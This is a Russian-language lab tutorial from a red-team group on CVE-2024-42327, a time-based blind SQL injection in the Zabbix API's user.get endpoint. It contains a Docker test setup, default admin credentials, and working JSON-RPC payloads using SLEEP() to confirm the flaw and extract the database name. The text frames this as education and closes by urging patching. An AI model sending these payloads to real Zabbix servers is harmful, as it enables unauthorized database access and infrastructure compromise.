Remote Code Execution через SQL инъекцию в Zabbix (CVE-2024-42327)
Введение
Zabbix — это система мониторинга, предназначенная для отслеживания состояния ИТ-инфраструктуры, серверов, сетевых устройств, приложений и сервисов в реальном времени.
Для чего нужен:
Мониторинг ресурсов: CPU, память, диски, сетевые интерфейсы.
Слежение за доступностью: Проверка работы сайтов, приложений, баз данных.
Уведомления: Настройка алертов (e-mail, Telegram, SMS) при сбоях или достижении критических значений.
Сбор метрик: Анализ производительности и прогнозирование проблем.
Автоматизация задач: Выполнение удалённых команд на серверах.
Zabbix полезен для обеспечения стабильной работы инфраструктуры и быстрого реагирования на проблемы.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество «GISCYBERTEAM» не несёт ответственности за любые последствия ее использования третьими лицами.
Об уязвимости
27 ноября 2024 года была выявлена критическая уязвимость в Zabbix с CVSS-оценкой 9.9, представляющая собой SQL-инъекцию в одном из эндпоинтов API Zabbix. Уязвимость позволяет атакующему, имеющему доступ к API, выполнить произвольные SQL-запросы. При определённых настройках Zabbix, которые разрешают удалённое выполнение команд через агентов, эта уязвимость может быть использована для полной компрометации инфраструктуры, находящейся под мониторингом Zabbix.
Уязвимости подвержены следующие версии Zabbix Frontend:
6.0.0 - 6.0.31 / 6.0.32rc1
6.4.0 - 6.4.16 / 6.4.17rc1
7.0.0 / 7.0.1rc1
SQL-инъекция — это тип уязвимости в приложениях, при которой злоумышленник может вставить вредоносные SQL-запросы в строку запроса к базе данных. Это может позволить ему получить несанкционированный доступ к данным, изменить их, удалить или выполнить другие вредоносные операции, такие как обход аутентификации или управление системой. SQL-инъекции часто возникают из-за недостаточной валидации входных данных.
Подготовка тестового окружения
Для развертывания стенда будет использована виртуальная машина с операционной системой Debian, на которой Zabbix версии 6.0.30 будет развернут в Docker контейнере. Установка будет производиться с использованием следующих команд:
sudo apt install docker.io docker-compose # установка Docker и docker-compose
nano docker-compose.yaml
После выполнения этих команд откроется текстовый редактор с файлом docker-compose.yaml
, в который необходимо внести следующее содержимое:
version: '3.5'
services:
zabbix-db:
image: mysql:8.0-oracle
container_name: zabbix-db
environment:
MYSQL_DATABASE: zabbix
MYSQL_USER: zabbix
MYSQL_PASSWORD: zabbix_password
MYSQL_ROOT_PASSWORD: root_password
volumes:
- zabbix-db-data:/var/lib/mysql
restart: unless-stopped
zabbix-server:
image: zabbix/zabbix-server-mysql:ubuntu-6.0.30
container_name: zabbix-server
environment:
DB_SERVER_HOST: zabbix-db
MYSQL_DATABASE: zabbix
MYSQL_USER: zabbix
MYSQL_PASSWORD: zabbix_password
depends_on:
- zabbix-db
ports:
- "10051:10051"
restart: unless-stopped
zabbix-web:
image: zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.30
container_name: zabbix-web
environment:
DB_SERVER_HOST: zabbix-db
MYSQL_DATABASE: zabbix
MYSQL_USER: zabbix
MYSQL_PASSWORD: zabbix_password
PHP_TZ: Europe/Moscow
depends_on:
- zabbix-server
ports:
- "8080:8080"
restart: unless-stopped
zabbix-agent:
image: zabbix/zabbix-agent:ubuntu-6.0.30
container_name: zabbix-agent
environment:
ZBX_SERVER_HOST: zabbix-server
depends_on:
- zabbix-server
restart: unless-stopped
volumes:
zabbix-db-data:
Теперь для запуска Zabbix достаточно выполнить команду из каталога, содержащего файл docker-compose.yaml
:
sudo docker-compose up -d
Веб-интерфейс Zabbix стал доступен по адресу: http://127.0.0.1:8080:
Также обратите внимание, что Zabbix можно установить с помощью официальных Docker контейнеров. Они доступны для скачивания на GitHub.
Подготовка условий для эксплуатации уязвимости
Для эксплуатации уязвимости необходим пользовательский аккаунт с доступом к API. Для демонстрации создадим аккаунт с минимальными правами, но доступом к API. Создать пользователя можно в разделе Administration → Users:
Стандартные админские учётные данные Zabbix:
Логин: Admin
Пароль: zabbix
Создадим учетную запись giscyber
и назначим специальную роль для этой учетной записи в разделе Administration → User roles. Роль будет настроена с минимальными привилегиями и доступом к API:
Для получения токена сессии отправьте POST запрос с логином и паролем пользователя к API Zabbix:
Получив сессионный ключ, можно приступить к эксплуатации уязвимости.
Эксплуатация уязвимости
Эндпоинт users.get
, доступный любому пользователю Zabbix с доступом к API, уязвим к Time-based Blind SQL injection. Для проверки уязвимости можно отправить следующий запрос на /api_jsonrpc.php
:
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": [
"roleid",
"name",
"type",
"readonly AND (SELECT(SLEEP(5)))"
],
"userids": [
"1",
"2"
]
},
"id": 1,
"auth": "**ЗДЕСЬ ИСПОЛЬЗУЕТСЯ ПОЛУЧЕННЫЙ РАНЕЕ СЕССИОННЫЙ КЛЮЧ**"
}
SQL инъекция — это атака, при которой злоумышленник вводит вредоносный SQL код в приложение для доступа или изменения данных в базе данных.
Time-based SQL инъекция — это тип атаки, при котором злоумышленник использует функцию паузы в SQL запросе, чтобы проверить наличие определенных условий путем измерения времени ответа сервера.
Как видно, в данном запросе используется встроенная в MySQL функция SLEEP()
, которая вызывает паузу на заданное внутри скобок количество секунд. Отправив запрос, можно убедиться, что ответ сервера занимает ровно 5 секунд, что подтверждает уязвимость к Time-based blind SQL injection:
Для демонстрации возможной пользы уязвимости воспользуемся следующей нагрузкой, чтобы извлечь название базы данных, с которой работает Zabbix.
AND (SELECT SLEEP(5) FROM DUAL WHERE DATABASE() LIKE '_')
Для начала необходимо выяснить сколько символов в названии базы данных, для этого добавляем символ »_» в нагрузку пока приложение не ответит с задержкой >= 5 секундам. Для тестовой конфигурации нагрузка отработала при 6 символах »_», значит имя базы данных содержит ровно 6 символов:
Выделим 1-й символ »_» и отправим его в Intruder Burp Suite, затем выберем режим Brute forcer для перебора первого символа имени базы данных:
Сортируем по времени ответы сервера и узнаём, что первая буква в имени базы данных — «z»:
Проделав такие манипуляции для всех символов, выясняем что имя БД — «zabbix»:
Заключение
С помощью Time-based SQL инъекции злоумышленник может получить доступ к более привилегированным учетным записям Zabbix, что создает угрозу компрометации всей инфраструктуры, находящейся под наблюдением агентов Zabbix. Это делает уязвимость особенно серьезной, что подтверждается высоким рейтингом CVSS. В связи с этим крайне рекомендуется устанавливать самые последние версии программного обеспечения, в которых выпущены соответствующие патчи для устранения данной уязвимости.
Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam